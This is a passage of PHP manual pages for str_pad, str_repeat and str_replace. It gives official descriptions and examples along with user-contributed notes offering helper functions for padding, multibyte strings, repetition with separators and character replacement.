    while (($pos=strpos($haystack,$needle))!==FALSE){
      $subject = substr_replace($subject,$token,$pos,strlen($search));
      $haystack = substr_replace($haystack,$token,$pos,strlen($search));
    }
    $subject = str_replace($token,$replace,$subject);
    return $subject;
  }
}
?>
hfuecks at nospam dot org 04-Jul-2005 02:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com 05-Apr-2005 01:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access     public
 * @return     void. prints HTML color coded string of the input $query.
 * @param     string $query The SQL query to be executed.
 * @author     Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version     1.0
 * @date        04/05/05
 * @todo     highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
    if( $query == '' ) return 0;

    global $SQL_INT;
    if( !isset($SQL_INT) ) $SQL_INT = 0;

    //[dv] this has to come first or you will have goofy results later.
    $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

    $query = str_ireplace(
                            array (
                                    '*',
                                    'SELECT ',
                                    'UPDATE ',
                                    'DELETE ',
                                    'INSERT ',
                                    'INTO',
                                    'VALUES',
                                    'FROM',
                                    'LEFT',
                                    'JOIN',
                                    'WHERE',
                                    'LIMIT',
                                    'ORDER BY',
                                    'AND',
                                    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                    'DESC',
                                    'ASC',
                                    'ON '
                                  ),
                            array (
                                    "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                    "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                    "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                    "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                  ),
                            $query
                          );

    echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

    $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net 30-May-2004 10:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
str_getcsv
str_pad
String Functions


Pad a string to a certain length with another string

str_ireplace
str_repeat
String Functions
PHP Manual

str_pad

(PHP 4 >= 4.0.1, PHP 5)

str_pad — Pad a string to a certain length with another string

Description

string str_pad ( string $input , int $pad_length [, string $pad_string = " " [, int $pad_type = STR_PAD_RIGHT ]] )

This functions returns the input string padded on the left, the right, or both sides to the specified padding length. If the optional argument pad_string is not supplied, the input is padded with spaces, otherwise it is padded with characters from pad_string up to the limit.

Parameters

input

The input string.

pad_length

If the value of pad_length is negative, less than, or equal to the length of the input string, no padding takes place.

pad_string

Note:

The pad_string may be truncated if the required number of padding characters can't be evenly divided by the pad_string's length.

pad_type

Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. If pad_type is not specified it is assumed to be STR_PAD_RIGHT.

Return Values

Returns the padded string.

Examples

Example #1 str_pad() example

<?php
$input = "Alien";
echo str_pad($input, 10);                      // produces "Alien     "
echo str_pad($input, 10, "-=", STR_PAD_LEFT);  // produces "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH);   // produces "__Alien___"
echo str_pad($input, 6 , "___");               // produces "Alien_"
?>

User Contributed Notes

sergey 12-Oct-2011 02:45
You can use trim functions for clearpad string:

ltrim("0001230", "0") -> 1230
rtrim("0123000", "0") -> 0123
trim("0012300")     -> 123
gene at swipesy dot com 24-Sep-2011 09:18
This is how I pad using &nbsp; :

str_replace(" ", "&nbsp;&nbsp;", str_pad($foo, 10, " ", STR_PAD_LEFT))

Seems to work well using two &nbsp; tags for each character added, at least for my use. YMMV.
goellerk at bucks dot edu 07-Jun-2010 12:43
Apparently, as of 5.3.2 the notations "STR_PAD_LEFT" and "STR_PAD_RIGHT" are case sensitive.

$yr = "10";
$yr = str_pad($yr,2,'0',str_pad_left);
print "yr = '$yr'";
yr = '  '

$yr = "10";
$yr = str_pad($yr,2,'0',STR_PAD_LEFT);
print "yr = '$yr'";
yr = '10'
hernanc 24-Apr-2009 08:45
To get Monday and Sunday's dates of the current week in Y-m-d format  do:

<?php
$mon_date = date('Y-m-d',strtotime(date('Y') . 'W' . str_pad(date('W'), 2, '0',STR_PAD_LEFT) .'1'));
$sun_date =  date('Y-m-d',strtotime(date('Y') . 'W' . str_pad(date('W'), 2, '0',STR_PAD_LEFT).'7'));
?>
Kari &#34;Haprog&#34; Sderholm 21-Mar-2009 06:43
Here's a quick and simple way to make an mb_str_pad function that works when you have correctly set your internal encoding.

I'm not sure how well this works in all possible scenarios but atleast it worked for me using UTF-8 as internal encoding and using this function on strings containing scandinavian characters "åäöÅÄÖ" that are double byte in UTF-8.

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {
    $diff = strlen($input) - mb_strlen($input);
    return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);
}
?>
matrebatre 16-Oct-2008 11:28
Here is a simple function to convert numbers into strings like this:

0 => 0000
1 => 0001
20 => 0020
432 => 0432

<?php

function number_pad($number,$n) {
return str_pad((int) $number,$n,"0",STR_PAD_LEFT);
}

?>

$n indicates how many characters you want.
albert dot serra at camaleongroup dot com 22-Jul-2008 06:36
<?php
/** Description
   * padclear, clear a pad varchar(9) "*****HOME" -> varchar(4) "HOME"
   * _no use for INT_ : varchar(5) "00100" -> int(3) "100", use $number = (int) "00100";
   *
   * @param string, string original
   * @param char, character to replace
   * @param charreplace, final character
   * @param type, [STR_PAD_RIGHT|STR_PAD_LEFT] see str_pad
   * @return string, transformed string with charreplace
   */
  function padclear($string, $char, $charreplace = null,$type = STR_PAD_RIGHT) {

      $strlen = strlen($string) - 1;
      $i = ($type == STR_PAD_RIGHT) ? 0 : $strlen;
      $stop = ($type == STR_PAD_RIGHT) ? $strlen : 0;
      $difpos = null;
      while(is_null($difpos) && $i != $stop) {
        $difpos = ($string[$i] != $char) ? $i : null;
        if($type == STR_PAD_RIGHT) $i++;
        else $i--;
      }

      if($type == STR_PAD_RIGHT) {
        $ant = str_replace($char,$charreplace,substr($string,0,$difpos));
         $nxt = substr($string,$difpos,$strlen);
      } else {
        $ant = substr($string,0,$difpos);
        $nxt = str_replace($char,$charreplace,substr($string,$difpos,$strlen));
      }

      return $ant . $nxt;
  }

  $string = "HOME*******";
  echo padclear($string,'*','',STR_PAD_LEFT);  // HOME
  $string = "*****HOME";
  echo padclear($string,'*','',STR_PAD_RIGHT); // HOME
?>
bxi at apparoat dot nl 20-Mar-2008 06:17
In case you want to pad 2 strings together with a character you can use:

<?php
function pad_between_strings($string1, $string2, $length, $char = " ") {
    $fill_length = $length - ( strlen($string1) + strlen($string2) );
    return $string1 . str_repeat($char, $fill_length) . $string2;
}
?>
Spudley 18-Jul-2007 08:47
Warning: If your string includes non-ascii characters (eg the British pounds sign), str_pad() will treat these as two characters when calculating the padding.

So for example:
<?php
str_pad($currency_symbol.$showtottopay,12," ",STR_PAD_LEFT);
?>
will produce a different length string depending on whether $currency_symbol is pounds or dollars.

Hope this helps someone -- it caused me a lot of problems with misaligned columns in my invoices until I worked it out.
christian dot reinecke at web dot de 01-Apr-2007 10:43
Fills the first argument (mostly a number, f.e. from a <select> loop to display a date or time) with zeroes.

<?php
function zerofill($mStretch, $iLength = 2)
{
    $sPrintfString = '%0' . (int)$iLength . 's';
    return sprintf($sPrintfString, $mStretch);
}
?>

sprintf() is indeed faster than str_pad.
Charles 05-Dec-2006 03:53
More corrections to the original flap / Tomek Krzeminski code below (well someone has to check it!) -- the code is a bit mangled but it is still the same:

<?php

function mb_str_pad($ps_input, $pn_pad_length, $ps_pad_string = " ", $pn_pad_type = STR_PAD_RIGHT, $ps_encoding = NULL) {
  $ret = "";

  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

  $hn_length_of_padding = $pn_pad_length - mb_strlen($ps_input, $ps_encoding);
  $hn_psLength = mb_strlen($ps_pad_string, $ps_encoding); // pad string length

  if ($hn_psLength <= 0 || $hn_length_of_padding <= 0) {
    // Padding string equal to 0:
    //
    $ret = $ps_input;
    }
  else {
    $hn_repeatCount = floor($hn_length_of_padding / $hn_psLength); // how many times repeat

    if ($pn_pad_type == STR_PAD_BOTH) {
      $hs_lastStrLeft = "";
      $hs_lastStrRight = "";
      $hn_repeatCountLeft = $hn_repeatCountRight = ($hn_repeatCount - $hn_repeatCount % 2) / 2;

      $hs_lastStrLength = $hn_length_of_padding - 2 * $hn_repeatCountLeft * $hn_psLength; // the rest length to pad
      $hs_lastStrLeftLength = $hs_lastStrRightLength = floor($hs_lastStrLength / 2);      // the rest length divide to 2 parts
      $hs_lastStrRightLength += $hs_lastStrLength % 2; // the last char add to right side

      $hs_lastStrLeft = mb_substr($ps_pad_string, 0, $hs_lastStrLeftLength, $ps_encoding);
      $hs_lastStrRight = mb_substr($ps_pad_string, 0, $hs_lastStrRightLength, $ps_encoding);

      $ret = str_repeat($ps_pad_string, $hn_repeatCountLeft) . $hs_lastStrLeft;
      $ret .= $ps_input;
      $ret .= str_repeat($ps_pad_string, $hn_repeatCountRight) . $hs_lastStrRight;
      }
    else {
      $hs_lastStr = mb_substr($ps_pad_string, 0, $hn_length_of_padding % $hn_psLength, $ps_encoding); // last part of pad string

      if ($pn_pad_type == STR_PAD_LEFT)
        $ret = str_repeat($ps_pad_string, $hn_repeatCount) . $hs_lastStr . $ps_input;
      else
        $ret = $ps_input . str_repeat($ps_pad_string, $hn_repeatCount) . $hs_lastStr;
      }
    }

  return $ret;
  }

?>
rafaeljaquestudojunto at gmail dot com 11-Sep-2006 05:43
Looking forward to make some dynamic tabulation, i've noticed that the output appeared twice. I suppose that the parser recognize \t, \n and any other special character as a single character...

So.. If you need 4 tabulatins, just make...

<?php

print str_pad('',4,"\t");

?>
Silvio Ginter (silvio dot ginter at gmx dot de) 15-Nov-2005 08:43
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*     This function is an extension to str_pad, it manipulates the referenced
    string '$str' and stretches or reduces it to the specified length. It
    returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
    $origLen = strlen($str);
    if (strlen($str) < $len) {     /* stretch string */
        $str = str_pad($str, $len, $char, $str_pad_const);
    }
    else {                         /* reduce string */
        switch ($str_pad_const) {
            case STR_PAD_LEFT:
                $str = substr($str, (strlen($str) - $len), $len);
                break;
            case STR_PAD_BOTH:
                $shorten = (int) ((strlen($str) - $len) / 2);
                $str = substr($str, $shorten, $len);
                break;
            default:
                $str = substr($str, 0, $len);
                break;
        }
    }
    return ($len - $origLen);
}
?>
private dot email at optusnet dot com dot au 10-Aug-2005 05:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
    return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
    return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + ( $int * 2 );
    $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
    return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
zubfatal <root at it dot dk> 27-Mar-2005 09:28
<?php
    /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
    **/
    function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
        if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

            switch ($intPadType) {
                 // STR_PAD_LEFT
                case 0:
                    $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    $offsetRight = 0;
                    break;

                // STR_PAD_RIGHT
                case 1:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;

                // STR_PAD_BOTH
                case 2:
                    $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                    $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                    break;

                // STR_PAD_RIGHT
                default:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;
            }

            $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
            unset($strInput, $offsetLeft, $offsetRight);

            return $strPadded;
        }

        else {
            return $strInput;
        }
    }

?>
tacomage at NOSPAM dot devilishly-deviant dot net 07-Jul-2004 08:04
If you want to pad a string to a certain screen length with &nbsp; or other HTML entities, but don't want to risk messing up any HTML characters inside the string, try this:

<?php
function str_pad_as_single($input, $len, $pad, $flag=STR_PAD_RIGHT)
{
  $trans=array('$'=>$input,' '=>$pad);
  $output=str_pad('$',$len-strlen($input)+1,' ',$flag);
  $output=strtr($output,$trans);
  return $output;
}
echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;');
// will output <img src="some.gif">&nbsp;&nbsp;

echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;',STR_PAD_BOTH);
// will output &nbsp;<img src="some.gif">&nbsp;

echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;',STR_PAD_LEFT);
// will output &nbsp;&nbsp;<img src="some.gif">
?>

It works by using single characters for str_pad, then replacing the characters with the full strings using strtr, so the two strings can't interfere with each other.  It also conveniently has the same syntax as str_pad.  Yes, I realize that spacing an image with text isn't the best idea, but it's just an example, it'll apply to other HTML as well :-P
giorgio dot balestrieri at mail dot wind dot it 09-Mar-2004 08:49
For number formatting (like writing numbers with leading zeroes etc.) , sprintf is much faster than str_pad.
Consider the following snippet (it take some minutes to run):

<?php
  echo "str_pad test started, please wait...\n";

  $intStart = time();
  for ($idx = 1; $idx <= 10000000; $idx++)
    $strFoo = str_pad($idx, 10, "0", STR_PAD_LEFT);
  $intEnd = time();

  echo "str_pad cycle completed in " . ($intEnd - $intStart) . " seconds\n";
  echo "sprintf test started, please wait...\n";

  $intStart = time();
  for ($idx = 1; $idx <= 10000000; $idx++)
    $strFoo = sprintf("%010d", $idx);
  $intEnd = time();

  echo "sprintf cycle completed in " . ($intEnd - $intStart) . " seconds\n";
?>

The str_pad cyle runs 80-100% slower on my pc...
bob [at] bobarmadillo [dot] com 03-Dec-2002 09:22
In a lot of cases you're better off using str_repeat if you want to use something like   - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
david dot rensonnet at swing dot be 02-Dec-2002 03:18
my solution to saveloywill at netscape dot net:

$myvar2="Alien";
$myvar=str_pad($myvar2,15," ",STR_PAD_RIGHT);
$myvar=str_replace(" ","&nbsp;",$myvar);

this way, only complete spaces will show up.

enjoy!
david rensonnet
Fahad dot Gilani at anu dot edu dot au 02-Dec-2002 02:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
          This is pretty interesting!           Dont you think?

Cheers,
Fahad
no dot spam at no dot spam dot no 26-Sep-2002 04:28
there could already be spaces in the string.

1) strlen the string
2) replace spaces with "AUniqueString"
3) strlen the new string
4) compare the two strlen's
5) pad as needed considering the new strlen
6) finally, replace all "AUniqueString" 's with &nbsp; 's

hack & a half, slow as well i bet
cd579 at hotmail dot com 22-Aug-2002 01:53
Why not just use a space[' '] instead of a character that COULD be inside the string, and risk messing it up?  Example:

$string = 'test';

$string = str_pad($string, 10, " ", STR_PAD_BOTH);
// $string now equals '      test'

$string = str_replace(" ", "&nbsp;", $string);
mreilly at NOSPAM dot mac dot com 20-Aug-2002 11:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
saveloywill at netscape dot net 10-Aug-2002 12:50
Here is my solution to the above problem.
Simply place the code in question inbetween  html <pre> tags, like this:

<?php
print "<pre>";
$input = "Alien";
print str_pad($input, 10);
print "*";
print "</pre>";
?>

Thanks.
pozytron#mac#com 08-Jul-2002 02:20
The trouble with cj@NOSPAM.ceejayoz.com's version over pestilenc@hotmail.com's is that many of the times it is used, it will end up with fragments of the "&nbsp;" code.

For example, the following code:
<?php
echo str_pad("TESTSTRING",60,"&nbsp;",STR_PAD_BOTH);
?>

produces the following HTML output:
&nbsp;&nbsp;&nbsp;&nbsp;&TESTSTRING&nbsp;&nbsp;&nbsp;&nbsp;&
cj at NOSPAM dot ceejayoz dot com 17-Jun-2002 12:38
Another solution to no_email@php.net's problem would be to simply multiply the padding string by 6.

e.g.

$string = str_pad($string, 10, "&nbsp;", STR_PAD_BOTH);

becomes

$string = str_pad($string, 60, "&nbsp;", STR_PAD_BOTH);

which will avoid problems with the above solution, which will mess up text that has the * in it (or whichever character you're replacing)
pestilenc at hotmail dot com 06-Jun-2002 04:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);
no_email at php dot net 30-May-2002 10:34
To convert your string couldnt you just use strval($var)?

What if you want non-breaking spaces? If I try to str_pad with "&nbsp;" PHP thinks my padding string is 6 characters, whn in HTML it is only one.
jared at dctkc dot com 03-May-2002 04:25
matthew.somerville's code did NOT work for me.
neither did bert@catsburg.com's.
neither did any other documentation.
(if I isolated the code by itself, they all worked; but in the context I was using it, $value was numeric, and there is NO WAY to force it to be a string in PHP).

I had to roll my own. I used 'trim' to _force_
the value of $value to be string, because as
long as PHP thought it was numeric, I could
not use any form of left-padding with zeros.

This worked (I use sprintf to left-pad
$value with zeros to a length of 4):

sprintf("%04s",trim($value));
matthew dot somerville at trinity dot oxford dot ac dot uk 05-Aug-2001 06:53
I find:

$mystr = substr("0000$mystr",-4)

(where the 0s are padding characters and -4 is the negative of the maxlength to pad to) is even simpler.
str_ireplace
str_repeat
String Functions


Repeat a string

str_pad
str_replace
String Functions
PHP Manual

str_repeat

(PHP 4, PHP 5)

str_repeat — Repeat a string

Description

string str_repeat ( string $input , int $multiplier )

Returns input repeated multiplier times.

Parameters

input

The string to be repeated.

multiplier

Number of time the input string should be repeated.

multiplier has to be greater than or equal to 0. If the multiplier is set to 0, the function will return an empty string.

Return Values

Returns the repeated string.

Examples

Example #1 str_repeat() example

<?php
echo str_repeat("-=", 10);
?>

The above example will output:

-=-=-=-=-=-=-=-=-=-=

See Also

  • for
  • str_pad() - Pad a string to a certain length with another string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

divinity76 at gmail dot com 18-Nov-2011 06:58
no idea how many times i have written this.
function br($times=1,$definition="<br/>\n")
{
echo str_repeat($definition,$times);
}
Anonymous 23-Oct-2011 04:51
hi guys ,
i've faced this example :
<?php

$my_head = str_repeat("°~", 35);
echo $my_head;

?>

so , the length should be 35x2 = 70 !!!
if we echo it :

<?php
$my_head = str_repeat("°~", 35);
echo strlen($my_head); // 105
echo mb_strlen($my_head, 'UTF-8'); // 70
?>

be carefull with characters and try to use mb_* package to make sure everything goes well ...
r3d dot w0rm at yahoo dot com 22-Feb-2010 12:52
str_repeat() Function Integer Overflow

For more info see :

http://bugs.php.net/bug.php?id=51105
Damien Bezborodov 28-Apr-2009 12:45
Here is a simple one liner to repeat a string multiple times with a separator:

<?php
implode($separator, array_fill(0, $multiplier, $input));
?>

Example script:
<?php

// How I like to repeat a string using standard PHP functions
$input = 'bar';
$multiplier = 5;
$separator = ',';
print implode($separator, array_fill(0, $multiplier, $input));
print "\n";

// Say, this comes in handy with count() on an array that we want to use in an
// SQL query such as 'WHERE foo IN (...)'
$args = array('1', '2', '3');
print implode(',', array_fill(0, count($args), '?'));
print "\n";
?>

Example Output:
bar,bar,bar,bar,bar
?,?,?
claude dot pache at gmail dot com 10-Feb-2009 02:25
Here is a shorter version of Kees van Dieren's function below, which is moreover compatible with the syntax of str_repeat:

<?php
function str_repeat_extended($input, $multiplier, $separator='')
{
    return $multiplier==0 ? '' : str_repeat($input.$separator, $multiplier-1).$input;
}
?>
Kees van Dieren 16-Jan-2009 01:26
Needed a function to repeat a string with a separator.

<?php
/**
 * Repeats <tt>$string</tt> <tt>$multiplier</tt> times, separated with <tt>$sep</tt>.
 *
 * str_repeat_sep('?', ',', 3) ==> "?,?,?"
 * str_repeat_seap('..', '/', 3) ==> "../../.."
 *
 * @param string $string
 * @param string $sep
 * @param int $multiplier
 * @return string
 */
function str_repeat_sep($string, $sep, $multiplier) {
  $ret = "";
  for($i=0;$i<$multiplier;$i++) {
    if ($i) $ret.=$sep;
    $ret.=$string;
  }
  return $ret;
}
?>
Alper Kaya 30-Jun-2007 03:09
If you want to hide a part of your password, you can use this code. It's very simple and might be required in your user management panel.

<?php
$password = "12345abcdef";
$visibleLength = 4; // 4 chars from the beginning

echo substr($password,0,4).str_repeat("*", (strlen($password)-$visibleLength));
?>
15-Sep-2005 07:32
In reply to what Roland Knall wrote:

It is much simpler to use printf() or sprintf() for leading zeros.

<?php
   printf("%05d<br>\n",  1); // Will echo 00001
   sprintf("%05d<br>\n",  1); // Will return 00001
?>
21-Jul-2003 10:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.
dakota at dir dot bg 25-Jun-2002 03:06
Note that the first argument is parsed only once, so it's impossible to do things like this:

echo str_repeat(++$i, 10);

The example will produce 10 times the value of $i+1, and will not do a cycle from $i to $i+10.
bryantSPAMw at geocities dot SPAM dot com 25-Oct-2001 04:16
(For the benefit of those searching the website:)

This is the equivalent of Perl's "x" (repetition) operator, for eg.  str_repeat("blah", 8) in PHP does the same thing as "blah" x 8 in Perl.
str_pad
str_replace
String Functions


Replace all occurrences of the search string with the replacement string

str_repeat
str_rot13
String Functions
PHP Manual

str_replace

(PHP 4, PHP 5)

str_replace — Replace all occurrences of the search string with the replacement string

Description

mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

This function returns a string or an array with all occurrences of search in subject replaced with the given replace value.

If you don't need fancy replacing rules (like regular expressions), you should always use this function instead of preg_replace().

Parameters

If search and replace are arrays, then str_replace() takes a value from each array and uses them to search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though.

If search or replace are arrays, their elements are processed first to last.

search

The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles.

replace

The replacement value that replaces found search values. An array may be used to designate multiple replacements.

subject

The string or array being searched and replaced on, otherwise known as the haystack.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

count

If passed, this will be set to the number of replacements performed.

Return Values

This function returns a string or an array with the replaced values.

Changelog

Version | Description
5.0.0 | The count parameter was added.
4.3.3 | The behaviour of this function changed. In older versions a bug existed when using arrays as both search and replace parameters which caused empty search indexes to be skipped without advancing the internal pointer on the replace array. This has been corrected in PHP 4.3.3, any scripts which relied on this bug should remove empty search values prior to calling this function in order to mimic the original behavior.
4.0.5 | Most parameters can now be an array.

Examples

Example #1 Basic str_replace() examples

<?php
// Provides: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// Provides: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// Provides: You should eat pizza, beer, and ice cream every day
$phrase  = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy   = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// Provides: 2
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count;
?>

Example #2 Examples of potential str_replace() gotchas

<?php
// Order of replacement
$str     = "Line 1\nLine 2\rLine 3\r\nLine 4\n";
$order   = array("\r\n", "\n", "\r");
$replace = '<br />';

// Processes \r\n's first so they aren't converted twice.
$newstr = str_replace($order, $replace, $str);

// Outputs F because A is replaced with B, then B is replaced with C, and so on...
// Finally E is replaced with F, because of left to right replacements.
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';
echo str_replace($search, $replace, $subject);

// Outputs: apearpearle pear
// For the same reason mentioned above
$letters = array('a', 'p');
$fruit   = array('apple', 'pear');
$text    = 'a p';
$output  = str_replace($letters, $fruit, $text);
echo $output;
?>

Notes

Note: This function is binary-safe.

Caution

Replacement order gotcha

Because str_replace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. See also the examples in this document.

Note:

This function is case-sensitive. Use str_ireplace() for case-insensitive replace.

See Also

  • str_ireplace() - Case-insensitive version of str_replace.
  • substr_replace() - Replace text within a portion of a string
  • preg_replace() - Perform a regular expression search and replace
  • strtr() - Translate characters or replace substrings

User Contributed Notes

windowshater 24-Nov-2011 12:15
I hope this helps someone who has gone insane for 4 hours...

If you have someone posting weird windows curly quotes into your forms and you cannot replace them using str_replace.

I tried using mb_convert_encoding to convert the string to UTF-8 and then to do a str_replace but still no joy.

I tried to str_replace using the \xe2\x80\x98 codes and also using the chr(145), chr(146), chr(147) codes.

Nothing worked... It would replace the quotes but then ADD a question mark in a diamond !!!! no idea why..

in the end i just url encoded the string and replaced teh html codes:

$search_weird_chars = array(    '%E2%80%99',
                        '%E2%80%99',
                        '%E2%80%98',
                        '%E2%80%9C',
                        '%E2%80%9D'
                        );

$this->post_array[$key] = urlencode($this->post_array[$key]);

                $this->post_array[$key] = str_replace($search_weird_chars, "'", $this->post_array[$key]);

                $this->post_array[$key] = urldecode($this->post_array[$key]);

this works although it is a totally retarded thing to have to do .. oh well. :-)
moostende at gmail dot com 26-Sep-2011 11:20
Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row.

